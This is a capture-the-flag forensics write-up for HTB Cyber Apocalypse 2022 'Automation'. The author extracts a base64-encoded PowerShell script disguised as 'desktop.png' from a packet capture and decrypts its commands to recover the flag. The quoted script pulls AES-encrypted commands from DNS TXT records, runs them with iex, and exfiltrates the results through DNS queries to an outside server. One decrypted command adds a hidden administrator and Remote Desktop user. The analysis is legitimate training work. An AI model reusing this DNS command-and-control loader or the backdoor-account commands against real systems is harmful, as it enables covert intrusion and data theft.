HTB-CA22-forensic-automation

Posted on May 19, 2022
tl;dr: pcap, dns, deobfuscation, powershell, aes decryption

Backstory

Each challenge had a story tied to it, for this challenge it was:

Vinyr’s threat intelligence is monitoring closely all APT groups from every possible galaxy, especially the most dangerous one, longhir.
As stated by an anonymous threat intelligence officer, the malicious actors tend to automate their initial post-exploitation enumeration so they can have less on-keyboard time.
You can find such an example in the provided network capture generated by a recent incident. Analyse it and find out what they are up to.

Attack the challenge

unzip file, open resulting pcap with wireshark.

export HTTP object “desktop.png” because it stands out compared to the other update files.
After exporting, run file on it

$ file desktop.png  
desktop.png: ASCII text, with very long lines (3560)  

running tail on it, shows that it’s base64 encoded.
running tail with base64 shows that it’s some more powershell code:

$ tail desktop.png| base64 -d  

<snip>  
function Encrypt-String($key, $unencryptedString) {  
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)  
$aesManaged = Create-AesManagedObject $key  
$encryptor = $aesManaged.CreateEncryptor()  
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);  
[byte[]] $fullData = $aesManaged.IV + $encryptedData  
$aesManaged.Dispose()  
[System.BitConverter]::ToString($fullData).replace("-","")  
}  
  
function Decrypt-String($key, $encryptedStringWithIV) {  
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)  
$IV = $bytes[0..15]  
$aesManaged = Create-AesManagedObject $key $IV  
$decryptor = $aesManaged.CreateDecryptor();  
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);  
$aesManaged.Dispose()  
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)  
}  
  
filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }}  
$key = "a1E4MUtycWswTmtrMHdqdg=="  
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;  
for ($num = 0 ; $num -le $out.Length-2; $num++){  
$encryptedString = $out[$num].Strings[0]  
$backToPlainText = Decrypt-String $key $encryptedString  
$output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32  
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189  
for ($ans = 0; $ans -lt $pr.length-1; $ans++){  
$domain = -join($pr[$ans],".windowsliveupdater.com")  
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189  
}  
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189  
}  
<snip>  

presumably the whole file is a script, for the automation. convert with:

cat desktop.png | base64 -d > auto.ps1  

open up auto.ps1 and start analyzing the code.

this part looks interesting, and instead of running it, we want to print it:

#$output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32  
$output = write-host $backToPlainText; $pr = Encrypt-String $key $output | parts 32  

unfortunately the DNS references in the code doesn’t seem to be running so we can’t query the DNS to see what type of traffic/responses we’re supposed to get.

instead we have to follow the code, see what it does and try to dig out the necessary information from the pcap dump.

start.windowsliveupdater.com seems to get a reply like: 32A806549B03AB7E4EB39771AEDA4A1B.windowsliveupdater.com
where the length stays the same throughout the pcap.

Testing to see whether the domain actually exists. And it does, but it won’t give the same replies as in the pcap.

$ dig @8.8.8.8 ECABC349D27C0B0FFFD1ACEEDBE06BB6.windowsliveupdater.com  
  
; <<>> DiG 9.18.1-1-Debian <<>> @8.8.8.8 ECABC349D27C0B0FFFD1ACEEDBE06BB6.windowsliveupdater.com  
; (1 server found)  
;; global options: +cmd  
;; Got answer:  
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42343  
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1  
  
;; OPT PSEUDOSECTION:  
; EDNS: version: 0, flags:; udp: 512  
;; QUESTION SECTION:  
;ECABC349D27C0B0FFFD1ACEEDBE06BB6.windowsliveupdater.com. IN A  
  
;; ANSWER SECTION:  
ECABC349D27C0B0FFFD1ACEEDBE06BB6.windowsliveupdater.com. 300 IN A 188.114.96.5  
ECABC349D27C0B0FFFD1ACEEDBE06BB6.windowsliveupdater.com. 300 IN A 188.114.97.5  

filter out all TXT records in the PCAP file, then put into an array and modify the powershell code in order to run the decryption.

function Create-AesManagedObject($key, $IV) {  
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"  
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC  
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros  
    $aesManaged.BlockSize = 128  
    $aesManaged.KeySize = 256  
    if ($IV) {  
        if ($IV.getType().Name -eq "String") {  
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)  
       
        }  
        else {  
            $aesManaged.IV = $IV  
       
  
        }  
    }  
    if ($key) {  
  
        if ($key.getType().Name -eq "String") {  
            $aesManaged.Key = [System.Convert]::FromBase64String($key)  
        }  
        else {  
            $aesManaged.Key = $key  
        }  
    }  
    $aesManaged  
}  
  
function Create-AesKey() {  
   
    $aesManaged = Create-AesManagedObject $key $IV  
    [System.Convert]::ToBase64String($aesManaged.Key)  
}  
  
function Encrypt-String($key, $unencryptedString) {  
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)  
    $aesManaged = Create-AesManagedObject $key  
    $encryptor = $aesManaged.CreateEncryptor()  
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);  
    [byte[]] $fullData = $aesManaged.IV + $encryptedData  
    $aesManaged.Dispose()  
    [System.BitConverter]::ToString($fullData).replace("-", "")  
}  
  
function Decrypt-String($key, $encryptedStringWithIV) {  
    $bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)  
    $IV = $bytes[0..15]  
    $aesManaged = Create-AesManagedObject $key $IV  
    $decryptor = $aesManaged.CreateDecryptor();  
    $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);  
    $aesManaged.Dispose()  
    [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)  
}  
  
filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) } }  
$key = "a1E4MUtycWswTmtrMHdqdg=="  
_#$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189 | Select-Object -Property Strings;_  
$out = @("Ifu1yiK5RMABD4wno66axIGZuj1HXezG5gxzpdLO6ws=", "hhpgWsOli4AnW9g/7TM4rcYyvDNky4yZvLVJ0olX5oA=", "58v04KhrSziOyRaMLvKM+JrCHpM4WmvBT/wYTRKDw2s=", "eTtfUgcchm/R27YJDP0iWnXHy02ijScdI4tUqAVPKGf3nsBE28fDUbq0C8CnUnJC57lxUMYFSqHpB5bhoVTYafNZ8+ijnMwAMy4hp0O4FeH0Xo69ahI8ndUfIsiD/Bru", "BbvWcWhRToPqTupwX6Kf7A0jrOdYWumqaMRz6uPcnvaDvRKY2+eAl0qT3Iy1kUGWGSEoRu7MjqxYmek78uvzMTaH88cWwlgUJqr1vsr1CsxCwS/KBYJXhulyBcMMYOtcqImMiU3x0RzlsFXTUf1giNF2qZUDthUN7Z8AIwvmz0a+5aUTegq/pPFsK0i7YNZsK7JEmz+wQ7Ds/UU5+SsubWYdtxn+lxw58XqHxyAYAo0=", "vJxlcLDI/0sPurvacG0iFbstwyxtk/el9czGxTAjYBmUZEcD63bco9uzSHDoTvP1ZU9ae5VW7Jnv9jsZHLsOs8dvxsIMVMzj1ItGo3dT+QrpsB4M9wW5clUuDeF/C3lwCRmYYFSLN/cUNOH5++YnX66b1iHUJTBCqLxiEfThk5A=", "A@M3/+2RJ/qY4O+nclGPEvJMIJI4U6SF6VL8ANpz9Y6mSHwuUyg4iBrMrtSsfpA2bh")  
  
for ($num = 0 ; $num -le $out.Length - 2; $num++) {  
    _#$encryptedString = $out[$num].Strings[0]_  
    $encryptedString = $out[$num]  
    $backToPlainText = Decrypt-String $key $encryptedString  
    write-host $backToPlainText  
    _#$output = iex $backToPlainText; $pr = Encrypt-String $key $output | parts 32_  
    $output = write-host $backToPlainText; $pr = Encrypt-String $key $output | parts 32  
    _#Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189_  
    for ($ans = 0; $ans -lt $pr.length - 1; $ans++) {  
        $domain = -join ($pr[$ans], ".windowsliveupdater.com")  
        _#Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189_  
    }  
    _#Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189_  
}  

during the run of the script, it will print:

"net user DefaultUsr "JHBhcnQxPSdIVEJ7eTB1X2M0bl8n" /add /Y; net localgroup Administrators /add DefaultUsr; net localgroup "Remote Desktop Users" /add DefaultUsr"

the DefaultUsr is base64 encoded, and will translate to: $part1='HTB{y0u_c4n_'

for part 2:
get all the DNS entries with a 32char subdomain and filter out the subdomain:

CC1C9AC2958A2E63609272E2B4F8F436  
32A806549B03AB7E4EB39771AEDA4A1B  
C1006AC8A03F9776B08321BD6D5247BB  
7679895D1CF7C07BB6A348E1AA4AFC65  
5958A6856F1A34AAD5E97EA55B087670  
35F2497E5836EA0ECA1F1280F59742A3  
09E28DD82C14BC32513652DAC2F2C27B  
0D73A3288A980D8FCEF94BDDCF9E2822  
2A1CA17BB2D90FCD6158856348790414  
20FC39C684A9E371CC3A06542B666005  
5840BD94CCE65E23613925B4D9D2BA53  
18EA75BC653004D45D505ED62567017A  
6FA4E7593D83092F67A81082D9930E99  
BA20E34AACC4774F067442C6622F5DA2  
A9B09FF558A8DF000ECBD37804CE663E  
3521599BC7591005AB6799C57068CF0D  
C6884CECF01C0CD44FD6B82DB788B35D  
62F02E4CAA1D973FBECC235AE9F40254  
C63D3C93C89930DA2C4F42D9FC123D8B  
AB00ACAB5198AFCC8C6ACD81B19CD264  
CC6353668CEA4C88C8AEEA1D58980022  
DA8FA2E917F17C28608818BF550FEA66  
973B5A8355258AB0AA281AD88F5B9EB1  
03AC666FE09A1D449736335C09484D27  
1C301C6D5780AB2C9FA333BE3B0185BF  
071FB1205C4DBEAA2241168B0748902A  
6CE14903C7C47E7C87311044CB9873A4  
ECABC349D27C0B0FFFD1ACEEDBE06BB6  
C2EB000EE4F9B35D6F001500E85642A2  
DCC8F1BE2CF4D667F458C1DE46D24B1C  
2E0F5D94E52649C70402C1B0A2FF7B49  
FC32DDD67F275307A74B2C4D0864B3F0  
486186DA9443EB747F717B3911C959DC  
7E300844D60655410C3988238E615D61  
6F33D27F63CE4D1E065A416911BC50D4  
58749599D2CB08DB561988EB2902E05D  
9886FDDAC2BED6F6DA73637AD2F20CF1  
99B8CE3D9DEE03C0180C7D1198B49C02  
99B8CE3D9DEE03C0180C7D1198B49C02  
769E5EE4EAB896D7D3BB478EA1408167  
769E5EE4EAB896D7D3BB478EA1408167  
79472A243BFB0852AF372323EC132988  
3C81A3F2AEB1D3DAAE8496E1DBF97F43  
5AE40A09203B890C4A174D77CB7026C4  
E990A6FB6424A7501823AD31D3D6B634  
4C7971C8D447C078C4471732AD881C39  
4BC8B1A66E0BED43DDC359269B57D1D5  
D68DCD2A608BF61716BB47D6FE4D5C9D  
6E8BB2981F214A8234B0DD0210CA96EB  
2D6322B0F7F3D748C4C9F8B80EFF5A69  
21A3D1A8621A49F4D29BC9851D25230B  
841BDB4E9E5F8BF721B58E8308177B57  
2E9A015967DA5BF11AC9155FC2159C8F  
610CD82F818B4BDF5E48722DAF4BEEEB  
ABCE30583F503B484BF99020E28A1B8F  
282A23FEB3A21C3AD89882F5AC0DD3D5  
7D87875231652D0F4431EC37E51A09D5  
7E2854D11003AB6E2F4BFB4F7E2477DA  
A44FCA3BC6021777F03F139D458C0524  
AE4ABE8A3A88D21DEEA071A72D65A35E  
F158D9F025897D1843E37B7463EC7833  

put all of them into cyberchef , choose AES Decrypt
run base64 decode on the key in the powershell script and put into cyberchef
Then take the first 16 characters from one of the 32 long strings , and put into cyberchef.

it should start decrypt things now:

htb-ca22-automation1

and here we find part 2:
$part2=4utom4t3_but_y0u_c4nt_h1de}

part 1 + part 2 = HTB{y0u_c4n_4utom4t3_but_y0u_c4nt_h1de}

Flag: HTB{y0u_c4n_4utom4t3_but_y0u_c4nt_h1de}